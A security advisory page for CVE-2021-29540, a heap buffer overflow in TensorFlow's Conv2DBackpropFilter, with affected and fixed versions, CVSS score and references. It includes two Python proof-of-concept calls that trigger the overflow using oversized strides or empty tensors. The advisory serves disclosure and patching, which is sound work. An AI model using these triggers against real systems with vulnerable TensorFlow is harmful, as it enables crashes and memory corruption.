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CVE-2021-29540: Heap buffer overflow in `Conv2DBackpropFilter`

May 21, 2021 (updated October 30, 2024)

An attacker can cause a heap buffer overflow to occur in Conv2DBackpropFilter:

import tensorflow as tf

input_tensor = tf.constant([386.078431372549, 386.07843139643234],
shape=[1, 1, 1, 2], dtype=tf.float32)
filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1],
dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter(
input=input_tensor,
filter_sizes=filter_sizes,
out_backprop=out_backprop,
strides=[1, 66, 49, 1],
use_cudnn_on_gpu=True,
padding='VALID',
explicit_paddings=[],
data_format='NHWC',
dilations=[1, 1, 1, 1]
)

Alternatively, passing empty tensors also results in similar behavior:

import tensorflow as tf

input_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32)
filter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter(
input=input_tensor,
filter_sizes=filter_sizes,
out_backprop=out_backprop,
strides=[1, 66, 49, 1],
use_cudnn_on_gpu=True,
padding='VALID',
explicit_paddings=[],
data_format='NHWC',
dilations=[1, 1, 1, 1]
)

References

  • github.com/advisories/GHSA-xgc3-m89p-vr3x
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-468.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-666.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-177.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/c570e2ecfc822941335ad48f6e10df4e21f11c96
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-xgc3-m89p-vr3x
  • nvd.nist.gov/vuln/detail/CVE-2021-29540

Code Behaviors & Features

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Affected versions

All versions before 2.1.4, all versions starting from 2.2.0 before 2.2.3, all versions starting from 2.3.0 before 2.3.3, all versions starting from 2.4.0 before 2.4.2

Fixed versions

  • 2.1.4
  • 2.2.3
  • 2.3.3
  • 2.4.2

Solution

Upgrade to versions 2.1.4, 2.2.3, 2.3.3, 2.4.2 or above.

Impact 7.8 HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Learn more about CVSS

Weakness

  • CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
  • CWE-787: Out-of-bounds Write

Source file

pypi/tensorflow-cpu/CVE-2021-29540.yml

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